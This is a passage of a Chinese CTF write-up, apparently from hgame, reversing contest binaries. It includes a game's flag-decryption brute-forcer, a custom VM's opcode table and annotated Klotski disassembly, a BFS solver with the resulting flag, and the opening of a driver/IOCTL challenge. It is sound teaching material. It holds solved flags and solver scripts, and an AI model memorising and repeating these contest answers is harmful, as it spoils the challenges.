    if (ArraysKt.contains(new long[]{6164215068710761199L, 5267579215675793589L, ...}, this.lawnGroup.II())) {
4
        shakeScreen(1.0f, 0.2f);
5
        showFlashText("WSDX");
6
        Assets.Companion.I1().stop();
7
        Assets.Companion.IIll().play();
8
        Array array = new Array();
9
        Iterator<Zombie> it = getZombies().iterator();
10
        while (it.hasNext()) {
11
            array.add(it.next());
12
        }
13
        Iterator<T> it2 = array.iterator();
14
        while (it2.hasNext()) {
15
            ((Zombie) it2.next()).receiveDamage(9999);
16
        }
17
        Timer.schedule(new lII1(this), 1.2f);
18
    }
19
}

展开收起

即，它检查 lawnGroup.II() 的返回值是否匹配一组特定的 long 型哈希值，如果是，则循环为僵尸施加 9,999 的伤害，使得玩家胜利。考虑到分析 lawnGroup.II() 所在的 defpackage.II1l 类过于复杂，我们直接跳转到游戏胜利后的 triggerVictory() 函数，不难发现它将进入 FlagScreen。

1
/* JADX INFO: Access modifiers changed from: private */
2
public final void triggerVictory() {
3
    if (!this.gameWon) {
4
        this.gameWon = true;
5
        Assets.Companion.I1().stop();
6
        FlagScreen flagScreen = new FlagScreen(this.game, this.lawnGroup.O());
7
        this.game.addScreen(FlagScreen.class, flagScreen);
8
        this.game.setScreen(flagScreen.getClass());
9
    }
10
}

分析后者代码，可以发现它大致进行了这些操作：

将输入的种子（O() 的结果）与常量 hello 相加，取低 32 位作为 int 输入，通过一个 LCG 生成 16 字节的密钥；
与派生密钥 XOR 并加上基于索引的偏移后，将 26 字节的数组分为两半，分别与 xorKey1 和 xorKey2 XOR；
使用预设的 aesEncryptedKey 进行循环 XOR 解密后，进行 Rotate Decrypt 和 Substitution Decrypt。

考虑到 FlagScreen 中解密所需的密钥空间仅为 16 位（即 0 到 65,535），我们直接通过暴力破解的方式得到某个格式为 flag{...} 的字符串，并将 flag 替换为 hgame 即可。下面给出一个暴力破解脚本。

1
def solve():
2
    killCountEncryptedFlag = [0, -8, -6, 6, 31, -39, -104, 114, 86, -23, -35, 28, -122, 56, 29, -126, -29, 94, 23, -29, 46, -126, -4, 45, 20, -57]
3
    aesEncryptedKey = [74, -111, -61, 127, 46, -75, 104, -44, 28, -119, 58, -14, 93, -90, 113, -66]
4
    xorKey1 = 102
5
    xorKey2 = 119
6

7
    substitutionMap = {
8
        'Q': 'A', 'W': 'B', 'E': 'C', 'R': 'D', 'T': 'E', 'Y': 'F', 'U': 'G', 'I': 'H', 'O': 'I', 'P': 'J',
9
        'A': 'K', 'S': 'L', 'D': 'M', 'F': 'N', 'G': 'O', 'H': 'P', 'J': 'Q', 'K': 'R', 'L': 'S', 'Z': 'T',
10
        'X': 'U', 'C': 'V', 'V': 'W', 'B': 'X', 'N': 'Y', 'M': 'Z', '!': '_', '[': '{', ']': '}'
11
    }
12

13
    def rotate_char(c, rot):
14
        if 'A' <= c <= 'Z':
15
            return chr(ord('A') + (ord(c) - ord('A') - rot) % 26)
16
        if 'a' <= c <= 'z':
17
            return chr(ord('a') + (ord(c) - ord('a') - rot) % 26)
18
        return c
19

20
    for i6 in range(65536):
21
        # derive key
22
        bArrKey = bytearray(16)
23
        i7 = i6
24
        for k_idx in range(16):
25
            i7 = (i7 * 1103515245 + 12345) & 0x7FFFFFFF
26
            bArrKey[k_idx] = (i7 >> 16) % 256
27

28
        # step 1: decryptWithKillCount
29
        d1 = bytearray(26)
30
        for i in range(26):
31
            d1[i] = (killCountEncryptedFlag[i] & 0xFF) ^ bArrKey[i % 16] ^ ((i * 13 + 7) % 256)
32

33
        # xor step
34
        d2 = bytearray(26)
35
        for i in range(13):
36
            d2[i] = d1[i] ^ xorKey1
37
        for i in range(13, 26):
38
            d2[i] = d1[i] ^ xorKey2
39

40
        # aes step (xor)
41
        d3 = bytearray(26)
42
        for i in range(26):
43
            d3[i] = d2[i] ^ (aesEncryptedKey[i % 16] & 0xFF)
44

45
        try:
46
            s3 = d3.decode('ascii')
47
        except:
48
            continue
49

50
        for rot in range(26):
51
            rotated = "".join(rotate_char(c, rot) for c in s3)
52
            final = "".join(substitutionMap.get(c, c) for c in rotated)
53

54
            if final.startswith('flag{') and final.endswith('}'):
55
                return final.replace('flag', 'hgame')
56

57
print(solve())

展开收起

看不懂的华容道#

Flag

hgame{c4a8ae149d34f8552875b87bb317ffa}

使用 IDA Pro 跟踪 start()，逐步跟踪后找到 main 函数 sub_1400116F4()。经过简要分析，程序中存在一个虚拟机。下面的代码进行了函数重命名以便于分析。

1
// Hidden C++ exception states: #wind=1
2
int __fastcall main(int argc, const char **game_bin_file, const char **envp)
3
{
4
    /* 初始化变量 */
5

6
    v3 = &v11;
7
    /* 初始化栈内存 */
8
    crt_junk_0((__int64)&unk_14003C06E, (__int64)game_bin_file, (__int64)envp);
9
    if ( argc == 2 )
10
    {
11
        j_init_vm_context((__int64)vm_context, v5, v6);
12
        j_load_arg_file((__int64)vm_context, (__int64)game_bin_file[1]);
13
        j_vm_main_logic(vm_context);
14
        v7 = 0;
15
    }
16
    else
17
    {
18
        v7 = 1;
19
    }
20
    v8 = v7;
21
    check_cookie(v10, &unk_14002E020);
22
    return v8;
23
}

展开收起

其中 init_vm_context() 函数将传入的 a1 的 65,704 字节写零后，在偏移 136 处写入 FF00，在偏移 65,696 处写入 1。

1
__int64 __fastcall init_vm_context(__int64 a1, __int64 a2, __int64 a3)
2
{
3
    crt_junk_0((__int64)&unk_14003C06E, a2, a3);
4
    j_memset((void *)a1, 0, 65704u);
5
    *(_QWORD *)(a1 + 136) = '\xFF\0';             // `FF00`
6
    *(_BYTE *)(a1 + 65696) = 1;                   // `1`
7
    return a1;
8
}

load_arg_file 函数从传入的文件（这里，即 game.bin）中读取最多 32,768 字节的内容（事实上远大于 game.bin），并写入 a1 的 160 偏移处。

1
__int64 __fastcall load_arg_file(__int64 a1, __int64 a2, __int64 a3)
2
{
3
    /* 初始化变量 */
4

5
    v3 = &v8;
6
    /* 初始化栈内存 */
7
    crt_junk_0((__int64)&unk_14003C06E, a2, a3);
8
    j_memset_to_0(buf_, 0x110u);
9
    j_load_context((__int64)buf_, a2, 32, 0x40u, 1);
10
    if ( (unsigned __int8)std::ios_base::operator!((char *)buf_ + *(int *)(*(_QWORD *)buf_ + 4LL)) )
11
    {
12
        v5 = cout(std::cerr, (__int64)"Load Error");
13
        std::ostream::operator<<(v5, sub_14001106E);
14
        exit(1);
15
    }
16
    std::istream::read(buf_, a1 + 160, 32768);    // 读取文件
17
    sub_1400111AE((__int64)buf_);
18
    return check_cookie((__int64)v7, (__int64)&unk_14002D510);
19
}

展开收起

基于此，我们推测 a1 即为虚拟机上下文 VM_context。阅读 vm_main_logic 代码后，我们可以推测出该上下文的具体结构。

1
struct VM_context {
2
    unsigned __int64 regs[16];    // 0x00 - 0x7F (0-127)
3
    unsigned __int64 pc;          // 0x80 (128)
4
    unsigned __int64 unknown;     // 0x88 (136)
5
    unsigned __int64 flags;       // 0x90 (144)
6
    unsigned __int64 padding[1];  // 0x98 (152)
7
    unsigned char memory[65536];  // 0xA0 (160)
8
    unsigned char is_running;     // 0x100A0 (65696)
9
};

在 IDA Pro 的 Local Types 中加入该结构体，确定代码逻辑后，对每个 case 分析，即可得到 Opcode 对照表。

Opcode	助记符和声明	逻辑描述
`0x15`	`INPUT n`	获取用户的输入，并存入 `regs[n]`
`0x16`	`RENDER`	取 `mem[0:9]` 为棋子坐标，渲染得到棋盘，存入 `mem[80:100]`
`0x17`	`PRINT`	打印 `regs[9]` 和 `regs[8]` 的值
`0x18`	`CALC_MD5_R8_R9`	读取内存中的数据，进行加盐的哈希运算
`0xA0`	`MOV dst, src`	`regs[dst] = regs[src]`
`0xA1`	`LDI dst, src(low, high)`	加载 16 位立即数 `regs[dst] = regs[src]`
`0xB0`	`LDM dst, src`	从内存加载字节 `regs[dst] = mem[LOBYTE(regs[src])]`
`0xB1`	`STM dst, src`	存储字节到内存 `mem[LOBYTE(regs[dst])] = regs[src]`
`0xC0`	`NAND dst, src1, src2`	`regs[dst] = ~(regs[src1] & regs[src2])`
`0xC1`	`SHL dst, src1, src2`	`regs[dst] = src1 << src2`
`0xC2`	`SHR dst, src1, src2`	`regs[dst] = src1 >> src2`
`0xD0`	`ADD dst, src1, src2`	`regs[dst] = src1 + src2`
`0xD1`	`XOR dst, src1, src2`	`regs[dst] = src1 ^ src2`
`0xD2`	`SUB dst, src1, src2`	`regs[dst] = src1 - src2`
`0xE0`	`JMP offset`	`PC += offset`（`PC` 自增 `2` 后）
`0xE1`	`JE offset`	（`flags == 1`）相等时跳转 `PC += offset`（`PC` 自增 `2` 后）
`0xE2`	`JNE offset`	（`flags == 0`）不相等时跳转 `PC += offset`（`PC` 自增 `2` 后）
`0xE3`	`CMP src_1, src_2`	`flags = src_1 == src_2`，这里的 `src_1` 和 `src_2` 各占半字节
`0xFF`	`HALT`	停止虚拟机

从而，我们将目光转向 game.bin 文件。该文件共 820 字节。根据对照表，不难写出 disassembler.py 进行反汇编。下面给出反编译后的结果。

Gemini 3.0 Pro 为该反汇编结果加入了注释，以方便理解。

1
; =============================================================
2
; 华容道 (Klotski) 模拟器 - 详细注释版
3
; 寄存器分配概览:
4
; R0: 输入缓冲 / 临时计算
5
; R10: 当前选中的棋子编号 (0-9)
6
; R11: 棋子当前位置 (Current Pos)
7
; R12: 棋子目标位置 (Target Pos)
8
; R14: 全局棋盘占用位图 (Global Collision Map)
9
; R13: 棋子形状掩码 (Shape Mask)
10
; =============================================================
11

12
; -------------------------------------------------------------
13
; 1. 初始化阶段 (0x0000 - 0x0092)
14
; 将 10 个棋子的初始位置写入内存 Mem[0] ~ Mem[9]
15
; -------------------------------------------------------------
16
0x0000:  LDI  R1, 0x0      ; R1 = 0 (位置索引 0)
17
0x0004:  LDI  R2, 0x1      ; R2 = 1 (内存地址 1)
18
0x0008:  STM  [R2], R1     ; Mem[1] = 0 (可能是曹操)
19

20
0x000B:  LDI  R1, 0x1      ; R1 = 1
21
0x000F:  LDI  R2, 0x0      ; R2 = 0
22
0x0013:  STM  [R2], R1     ; Mem[0] = 1 (位置 1)
23

24
0x0016:  LDI  R1, 0x3      ; R1 = 3
25
0x001A:  LDI  R2, 0x2      ; R2 = 2
26
0x001E:  STM  [R2], R1     ; Mem[2] = 3
27

28
; ... (省略部分相似的初始化指令，均在设置 Mem[0]~[9] 的初始坐标) ...
29
; 这些坐标对应 4x5 棋盘上的左上角点：
30
; Row 0: 0, 1, 2, 3
31
; Row 1: 4, 5, 6, 7
32
; Row 2: 8, 9, 10, 11
33
; Row 3: 12, 13, 14, 15
34
; Row 4: 16, 17, 18, 19
35

36
0x0058:  LDI  R1, 0x10     ; R1 = 16 (最后一行)
37
0x005C:  LDI  R2, 0x7      ; R2 = 7
38
0x0060:  STM  [R2], R1     ; Mem[7] = 16
39

40
0x0063:  LDI  R1, 0x13     ; R1 = 19 (右下角)
41
0x0067:  LDI  R2, 0x9      ; R2 = 9
42
0x006B:  STM  [R2], R1     ; Mem[9] = 19
43

44
; -------------------------------------------------------------
45
; 初始化全局占用位图 R14
46
; 这里的逻辑是硬编码计算初始状态的位掩码，而不是扫描内存
47
; -------------------------------------------------------------
48
0x006E:  LDI  R14, 0x9F    ; R14 = 0x9F (10011111)
49
0x0072:  LDI  R1, 0xC      ; R1 = 12
50
0x0076:  SHL  R14, R14, R1 ; R14 = 0x9F000 (构建高位)
51
0x007A:  LDI  R2, 0xFF     ; R2 = 0xFF
52
0x007E:  LDI  R1, 0x4      ; R1 = 4
53
0x0082:  SHL  R2, R2, R1   ; R2 = 0xFF0 (构建中位)
54
0x0086:  ADD  R14, R14, R2 ; R14 = 0x9FF00
55
0x008A:  LDI  R2, 0xF      ; R2 = 0xF
56
0x008E:  ADD  R14, R14, R2 ; R14 = 0x9FFF0... (最终的初始位图)
57
0x0092:  LDI  R10, 0x0     ; 清空 R10
58
0x0096:  JMP  offset 513 -> 0x029A ; 跳转到首次渲染
59

60
; -------------------------------------------------------------
61
; 2. 主循环 (0x0099 - 0x00FA)
62
; -------------------------------------------------------------
63
0x0099:  RENDER            ; 渲染指令：根据 Mem[0:9] 生成棋盘视图存入 Mem[80:100]
64
0x009A:  INPUT R0          ; 等待用户输入，结果存入 R0
65
0x009C:  LDI  R2, 0x0
66
0x00A0:  CMP  R2, R0       ; 检查输入是否为空
67
0x00A2:  JE   offset -12 -> 0x0099 ; 如果空，重新循环
68

69
; 解析输入：假设输入格式高8位是字符，低8位是操作数，或者是某种组合
70
; 从代码看，它把 R0 分解为 "棋子ID" 和 "方向键"
71
0x00A5:  LDI  R2, 0x8
72
0x00A9:  SHR  R5, R0, R2   ; R5 = R0 >> 8 (取高字节，假设是 ASCII 数字)
73
0x00AD:  LDI  R2, 0x30     ; ASCII '0'
74
0x00B1:  SUB  R6, R5, R2   ; R6 = R5 - '0' (将字符转换为数字 0-9)
75
0x00B5:  MOV  R10, R6      ; **R10 = 选中的棋子编号**
76

77
0x00B8:  LDI  R2, 0x8
78
0x00BC:  SHL  R9, R5, R2   ; R9 = R5 << 8 (把数字恢复到高字节，用于后续比较键值)
79
0x00C0:  LDM  R11, [R10]   ; **R11 = 读取该棋子的当前位置**
80
0x00C3:  MOV  R12, R11     ; **R12 = 初始化目标位置 = 当前位置**
81

82
; -------------------------------------------------------------
83
; 按键检测 (W/S/A/D)
84
; R0 (输入) 与 (R9 + 键值) 比较，因为输入包含棋子前缀
85
; -------------------------------------------------------------
86
0x00C6:  LDI  R2, 0x77     ; 'w' 的 ASCII 码
87
0x00CA:  ADD  R8, R9, R2   ; 构造 "棋子ID + w"
88
0x00CE:  CMP  R8, R0
89
0x00D0:  JE   offset 42 -> 0x00FD  ; 跳转到 向上移动处理
90

91
0x00D3:  LDI  R2, 0x73     ; 's'
92
0x00D7:  ADD  R8, R9, R2
93
0x00DB:  CMP  R8, R0
94
0x00DD:  JE   offset 76 -> 0x012C  ; 跳转到 向下移动处理
95

96
0x00E0:  LDI  R2, 0x61     ; 'a'
97
0x00E4:  ADD  R8, R9, R2
98
0x00E8:  CMP  R8, R0
99
0x00EA:  JE   offset 194 -> 0x01AF ; 跳转到 向左移动处理
100

101
0x00ED:  LDI  R2, 0x64     ; 'd'
102
0x00F1:  ADD  R8, R9, R2
103
0x00F5:  CMP  R8, R0
104
0x00F7:  JE   offset 237 -> 0x01E7 ; 跳转到 向右移动处理
105

106
0x00FA:  JMP  offset -100 -> 0x0099 ; 无效按键，重新循环
107

108
; -------------------------------------------------------------
109
; 3. 移动逻辑与边界检查
110
; -------------------------------------------------------------
111

112
; === 向上移动 (UP) ===
113
0x00FD:  LDI  R2, 0x0
114
0x0101:  CMP  R11, R2      ; 检查是否在 Row 0 (Pos 0)
115
0x0103:  JE   offset -109 -> 0x0099 ; 是则不能上移
116
; ... (重复检查位置 1, 2, 3，即第一行所有位置) ...
117
0x011E:  JE   offset -136 -> 0x0099
118
0x0121:  LDI  R2, 0x4
119
0x0125:  SUB  R12, R11, R2 ; 目标位置 = 当前位置 - 4 (上一行)
120
0x0129:  JMP  offset 309 -> 0x0261  ; 去做碰撞检测
121

122
; === 向下移动 (DOWN) ===
123
0x012C:  LDI  R2, 0x10
124
0x0130:  CMP  R11, R2      ; 检查是否在 Row 4 (Pos 16)
125
0x0132:  JE   offset -156 -> 0x0099
126
; ... (重复检查位置 17, 18, 19，即最后一行) ...
127
0x014D:  JE   offset -183 -> 0x0099
128
0x0150:  LDI  R2, 0x4
129
0x0154:  ADD  R12, R11, R2 ; 目标位置 = 当前位置 + 4
130
; **特殊检查**：如果是大棋子（占用两行），移动后底部不能越界
131
0x0158:  LDI  R2, 0x10
132
0x015C:  CMP  R12, R2      ; 如果目标位置到了最后一行 (16)
133
0x015E:  JE   offset 30 -> 0x017F ; 跳转去检查是不是高棋子
134
; ... (检查 17, 18, 19) ...
135
0x017C:  JMP  offset 226 -> 0x0261 ; 非边缘，去碰撞检测
136

137
; (接 0x015E) 检查棋子类型
138
0x017F:  LDI  R2, 0x0
139
0x0183:  CMP  R10, R2      ; 如果是棋子 0 (通常是曹操 2x2)
140
0x0185:  JE   offset -239 -> 0x0099 ; 不能移动到最后一行（因为底部会越界）
141
; ... (检查棋子 1, 2, 3, 4，通常是五虎将 1x2) ...
142
0x01A9:  JE   offset -275 -> 0x0099
143
0x01AC:  JMP  offset 178 -> 0x0261
144

145
; === 向左移动 (LEFT) ===
146
0x01AF:  LDI  R2, 0x1
147
0x01B3:  SUB  R12, R11, R2 ; 目标位置 = 当前 - 1
148
; 检查左边界 (0, 4, 8, 12, 16)
149
0x01B7:  LDI  R2, 0x0
150
0x01BB:  CMP  R11, R2
151
0x01BD:  JE   offset -295 -> 0x0099
152
; ... (检查 4, 8, 12, 16) ...
153
0x01E4:  JMP  offset 122 -> 0x0261
154

155
; === 向右移动 (RIGHT) ===
156
0x01E7:  ; 检查右边界 (3, 7, 11, 15, 19)
157
; ... (代码省略，逻辑同上) ...
158
0x0214:  LDI  R2, 0x0
159
0x0218:  CMP  R10, R2      ; 棋子 0 (2x2)
160
0x021A:  JE   offset 12 -> 0x0229  ; 跳过额外检查
161
0x021D:  LDI  R2, 0x5
162
0x0221:  CMP  R10, R2      ; 棋子 5 (2x1, 关羽横放)
163
0x0223:  JE   offset 3 -> 0x0229   ; 跳过额外检查
164
; 普通 1x1 或 1x2 棋子的额外右边界检查 (不能从第 2 列跨到第 3 列，如果它是 2 格宽的话)
165
; ...
166
0x0256:  LDI  R2, 0x1
167
0x025A:  ADD  R12, R11, R2 ; 目标位置 = 当前 + 1
168
0x025E:  JMP  offset 0 -> 0x0261
169

170
; -------------------------------------------------------------
171
; 4. 碰撞检测准备 (0x0261)
172
; -------------------------------------------------------------
173
0x0261:  LDI  R0, 0x0
174
0x0265:  MOV  R4, R11      ; R4 = 当前位置 (Old Pos)
175
0x0268:  LDI  R15, 0x1     ; R15 = 状态机状态 1 (计算旧位置掩码)
176
0x026C:  JMP  offset 49 -> 0x02A0 ; 跳转到形状掩码计算器
177

178
; 回调入口 1: 完成旧位置计算
179
0x026F:  MOV  R5, R13      ; R5 = 旧位置的掩码 (Old Mask)
180
0x0272:  MOV  R4, R12      ; R4 = 目标位置 (New Pos)
181
0x0275:  LDI  R15, 0x2     ; R15 = 状态机状态 2 (计算新位置掩码)
182
0x0279:  JMP  offset 36 -> 0x02A0
183

184
; 回调入口 2: 完成新位置计算 -> 执行碰撞逻辑
185
0x027C:  MOV  R6, R13      ; R6 = 新位置的掩码 (New Mask)
186

187
; -------------------------------------------------------------
188
; 5. 核心位运算逻辑 (0x027F - 0x0297)
189
; 验证移动是否合法，并更新位图
190
; -------------------------------------------------------------
191
; R14: 全局位图, R5: 旧棋子掩码, R6: 新棋子掩码
192
0x027F:  XOR  R7, R14, R5  ; R7 = 全局位图 剔除 旧棋子 (Temporarily clear old pos)
193
0x0283:  NAND R9, R7, R6   ; 检查 R7 和 R6 是否有重叠。
194
                           ; 如果无重叠 (R7 & R6 == 0)，则 NAND 结果为全 1 (0xFFFF)
195
                           ; 如果有重叠 (碰撞)，则 NAND 结果某位为 0
196
0x0287:  NAND R8, R9, R9   ; 对 R9 取反 (NOT)。R8 = R7 & R6。
197
                           ; 如果 R8 == 0，说明没有碰撞，移动合法。
198
0x028B:  CMP  R8, R0       ; R0 是 0
199
0x028D:  JNE  offset -503 -> 0x0099 ; 如果 R8 != 0 (有碰撞)，跳转回主循环(移动失败)
200

201
; 移动合法，更新状态
202
0x0290:  XOR  R14, R7, R6  ; R14 = R7 (空位图) | R6 (新位置)。将新位置写入全局位图。
203
0x0294:  STM  [R10], R12   ; 更新内存中该棋子的坐标
204
0x0297:  JMP  offset 0 -> 0x029A
205

206
; -------------------------------------------------------------
207
; 6. 渲染与输出 (0x029A)
208
; -------------------------------------------------------------
209
0x029A:  RENDER                 ; 重新绘制棋盘
210
0x029B:  CALC_MD5_R8_R9 Mem[80:100] ; 计算当前棋盘状态的 MD5/Hash
211
0x029C:  PRINT                  ; 打印 R8, R9 (作为通关密码或校验码)
212
0x029D:  JMP  offset -519 -> 0x0099 ; 回到主循环
213

214
; -------------------------------------------------------------
215
; 7. 辅助函数：形状掩码计算器 (0x02A0)
216
; 根据棋子ID (R10) 和位置 (R4) 计算位掩码 (R13)
217
; -------------------------------------------------------------
218
0x02A0:  CMP  R10, R0      ; R10 == 0? (曹操)
219
0x02A2:  JE   offset 72 -> 0x02ED
220
0x02A5:  LDI  R2, 0x5
221
0x02A9:  SUB  R3, R10, R2
222
0x02AD:  CMP  R3, R0       ; R10 == 5? (关羽)
223
0x02AF:  JE   offset 73 -> 0x02FB
224
; ... (检查 1,2,3,4 五虎将) ...
225
0x02BC:  JE   offset 53 -> 0x02F4 ; 跳转到 1x2 掩码
226

227
0x02E6:  LDI  R13, 0x1     ; 其他 (小兵): 掩码 0x1 (1x1)
228
0x02EA:  JMP  offset 21 -> 0x0302
229

230
0x02ED:  LDI  R13, 0x33    ; 曹操: 掩码 0x33 (二进制 0011 0011 -> 2x2 占位)
231
0x02F1:  JMP  offset 14 -> 0x0302
232

233
0x02F4:  LDI  R13, 0x11    ; 竖将: 掩码 0x11 (二进制 0001 0001 -> 1x2 占位)
234
0x02F8:  JMP  offset 7 -> 0x0302
235

236
0x02FB:  LDI  R13, 0x3     ; 横将: 掩码 0x03 (二进制 0000 0011 -> 2x1 占位)
237
0x02FF:  JMP  offset 0 -> 0x0302
238

239
; 移位循环：将基础掩码移动到棋子的实际坐标位置
240
0x0302:  MOV  R9, R4       ; R9 = 计数器 (当前坐标)
241
0x0305:  CMP  R9, R0       ; while (R9 > 0)
242
0x0307:  JE   offset 15 -> 0x0319
243
0x030A:  LDI  R2, 0x1
244
0x030E:  SHL  R13, R13, R2 ; 掩码左移 1 位
245
0x0312:  SUB  R9, R9, R2   ; 计数器 - 1
246
0x0316:  JMP  offset -20 -> 0x0305
247

248
0x0319:  LDI  R2, 0x1
249
0x031D:  SUB  R3, R15, R2
250
0x0321:  CMP  R3, R0       ; 检查状态 R15
251
0x0323:  JE   offset -183 -> 0x026F ; 如果是状态 1，跳回 "回调入口 1"
252
0x0326:  LDI  R2, 0x2
253
0x032A:  SUB  R3, R15, R2
254
0x032E:  CMP  R3, R0
255
0x0330:  JE   offset -183 -> 0x027C ; 如果是状态 2，跳回 "回调入口 2"
256

257
0x0333:  HALT

展开收起

事实上，该 game.bin 实现了一个华容道模拟器，循环请求用户输入 nx 格式的字符串，表示将编号为 n 的棋子向 x 方向移动（x 为 w、a、s 或 d）。模拟器进行边界检测以判定移动合理性，若可以移动，则计算移动后棋盘对应的哈希值（可能是 MD5 值）并输出。

根据题目描述：

flag内容为最短路径下的终点对应的节点值
操作路径顺序按照棋子编号从小到大操作顺序wasd

我们推测，我们需要使用 BFS 寻找一条华容道路径，它遵循这样的优先级顺序：

按照编号升序的顺序移动棋子，即，移动 0 优先于移动 1；
对一个棋子按照 w,a,s,d 的顺序移动，即，上移优先于左移。

从而编写 BFS 脚本即可得到移动序列。下面给出一个可行的脚本：

1
from collections import deque
2

3
# 5 rows x 4 cols
4
ROWS, COLS = 5, 4
5

6
# Initial board (index -> piece)
7
# Use '.' for empty
8
initial = [
9
    "P1","P0","P0","P2",
10
    "P1","P0","P0","P2",
11
    "P5","P5","P4","P3",
12
    "P6","P8","P4","P3",
13
    "P7",".",".","P9"
14
]
15

16
# Goal: Cao Cao (P0) at positions 13,14,17,18 (bottom center)
17
goal_positions = {13,14,17,18}
18

19
# Movement order (priority)
20
DIRS = [
21
    ('W', -1,  0),
22
    ('A',  0, -1),
23
    ('S',  1,  0),
24
    ('D',  0,  1),
25
]
26

27
# Extract pieces
28
def get_pieces(board):
29
    pieces = {}
30
    for idx, v in enumerate(board):
31
        if v != ".":
32
            pieces.setdefault(v, []).append(idx)
33
    return pieces
34

35
def idx_to_rc(i):
36
    return divmod(i, COLS)
37

38
def rc_to_idx(r,c):
39
    return r*COLS + c
40

41
def can_move(board, piece_cells, dr, dc):
42
    # Check if all moved cells are in bounds and not blocked
43
    for idx in piece_cells:
44
        r,c = idx_to_rc(idx)
45
        nr,nc = r+dr, c+dc
46
        if not (0 <= nr < ROWS and 0 <= nc < COLS):
47
            return False
48
        nidx = rc_to_idx(nr,nc)
49
        if board[nidx] != "." and nidx not in piece_cells:
50
            return False
51
    return True
52

53
def move_piece(board, piece_cells, dr, dc, name):
54
    new_board = board[:]
55
    # Clear old
56
    for idx in piece_cells:
57
        new_board[idx] = "."
58
    # Set new
59
    for idx in piece_cells:
60
        r,c = idx_to_rc(idx)
61
        nidx = rc_to_idx(r+dr, c+dc)
62
        new_board[nidx] = name
63
    return new_board
64

65
def board_key(board):
66
    return tuple(board)
67

68
def is_goal(board):
69
    # Cao Cao occupies 4 cells
70
    cells = [i for i,v in enumerate(board) if v=="P0"]
71
    return set(cells) == goal_positions
72

73
def bfs(start):
74
    q = deque()
75
    q.append((start, []))
76
    seen = set()
77
    seen.add(board_key(start))
78

79
    while q:
80
        board, path = q.popleft()
81
        if is_goal(board):
82
            return path, board
83

84
        pieces = get_pieces(board)
85

86
        # Priority 1: piece index ascending (P0, P1, ...)
87
        # Sort by numeric part
88
        def piece_key(p):
89
            return int(p[1:])  # "P0" -> 0
90
        for piece in sorted(pieces.keys(), key=piece_key):
91
            cells = pieces[piece]
92

93
            # Priority 2: W A S D
94
            for dch, dr, dc in DIRS:
95
                if can_move(board, cells, dr, dc):
96
                    nb = move_piece(board, cells, dr, dc, piece)
97
                    k = board_key(nb)
98
                    if k not in seen:
99
                        seen.add(k)
100
                        q.append((nb, path + [dch + piece[1:]]))
101
    return None, None
102

103
def print_board(board):
104
    for r in range(ROWS):
105
        row = board[r*COLS:(r+1)*COLS]
106
        print(" ".join(f"{x:>2}" for x in row))
107

108
if __name__ == "__main__":
109
    path, final_board = bfs(initial)
110
    if path is None:
111
        print("无解")
112
    else:
113
        for step in path:
114
            print(step)
115
        print(f"最短步数: {len(path)}")
116
        print("最终布局:")
117
        print_board(final_board)

展开收起

下面给出运算结果：

1
4s 5d 1s 7d 6s 1s 0a 2a 3w 3w 9w 9w 4d 7d 6d 1s 5a 2s 2s 3a 9w 4w 7d 2s 3s 9w 4w 7w 9a 4w 7w 2d 3s 3s 7a 7w 5d 1w 5d 6a 8s 1d 6w 8a 1s 5a 4s 5a 3w 9d 7w 3w 1d 6d 6s 5s 0s 7a 7a 9a 4w 2w 9a 3w 1w 6d 6d 8d 8d 5s 0s 7s 9a 3a 1w 1w 0d 7s 7s 9s 9s 3a 1a 4a 2w 2w 0d 7d 7w 5w 8a 6a 8a 6a 0s 7d 7d 9d 9d 5w 6w 6a 0a

与程序交互后，将移动序列中的编号-方向组合逐个输入，即可得到最终的值。为便捷，可以使用 PowerShell：

Terminal window

1
$moves = "4s 5d 1s 7d 6s 1s 0a 2a 3w 3w 9w 9w 4d 7d 6d 1s 5a 2s 2s 3a 9w 4w 7d 2s 3s 9w 4w 7w 9a 4w 7w 2d 3s 3s 7a 7w 5d 1w 5d 6a 8s 1d 6w 8a 1s 5a 4s 5a 3w 9d 7w 3w 1d 6d 6s 5s 0s 7a 7a 9a 4w 2w 9a 3w 1w 6d 6d 8d 8d 5s 0s 7s 9a 3a 1w 1w 0d 7s 7s 9s 9s 3a 1a 4a 2w 2w 0d 7d 7w 5w 8a 6a 8a 6a 0s 7d 7d 9d 9d 5w 6w 6a 0a"
2
$moves -split " " | .\huarongdao.exe .\game.bin

向华容道程序输入最短移动序列后得到的终点节点值

NonceSense#

Client.exe 读取用户的输入，并对输入的每一个字符进行了变换，随后调用 CreateFileW 打开驱动设备 \\.\GATE_Driver，发送 IOCTL 0x222000，从驱动获取 16 个字节的数据 OutBuffer（称为 Nonce），最终将变换后的用户输入和 Nonce 打包，并发送 IOCTL 0x222004 给驱动，将返回的数据写入 Drv_blob.bin。由此我们推测，附件给出的 Drv_blob.bin 是用户输入为正确 Flag 时的最终产物。

处理用户输入的变换逻辑使用了一个虚拟机，对用户的输入逐字节地依照 unk_1400043F3 的内容变换。仿照上题，我们不加说明地给出该虚拟机的构造：

1
00000000 struct VM_Instruction // sizeof=0x3
2
00000000 {                                       // XREF: .rdata:vm_firmware/r
3
00000000                                         // .rdata:00000001400043F6/r ...
4
00000000     enum OpCode_PlusOne opc;
5
00000001     unsigned __int8 Dst_Reg_Idx;
6
00000002     unsigned __int8 Src_Operand;
7
00000003 };
8

9
00000000 struct registry // sizeof=0x4
10
00000000 {                                       // XREF: main/r
11
00000000     unsigned __int8 r0;                 // XREF: main+1E9/w main+228/r ...
12
00000001     unsigned __int8 r1;                 // XREF: main+1F3/w
13
00000002     unsigned __int8 r2;                 // XREF: main+1F8/w
14
00000003     unsigned __int8 r3;
15
00000004 };

展开收起

在 unk_1400043F3 固件中定义的 Opcode 是程序运行时实际处理的 Opcode 加 1 的结果。下表的 Opcode 均为 1 字节，取固件中定义的 Opcode。

Opcode	助记符和声明	逻辑描述
`0x1`	`MOV dst, src`	`Reg[dst] = Reg[src]`
`0x2`	`XOR_reg dst, src`	`Reg[dst] ^= Reg[src]`
`0x3`	`XOR dst, imm`	`Reg[dst] ^= imm`
`0x4`	`ADD dst, imm`	`Reg[dst] += imm`
`0x5`	`MUL dst, imm`	`Reg[dst] *= imm`
`0x6`	`AND dst, imm`	`Reg[dst] &= imm`
`0x7`	`ROL dst, src`	`Reg[dst] = ROL(Reg[dst], Reg[src] & 7)`

在 main 函数中，对用户输入的加密逻辑如下：

1
for ( i = 0; i < input_size; ++i )
2
{
3
    Src_Operand = 1;
4
    reg.r0 = Buffer[i];  // reg.rx 代指 Reg[x]
5
    vm_pc = &vm_firmware;  // vm_firmware 即 unk_1400043F3
6
    n6 = 0;
7
    reg.r1 = i;
8
    *(_WORD *)&reg.r2 = 0;
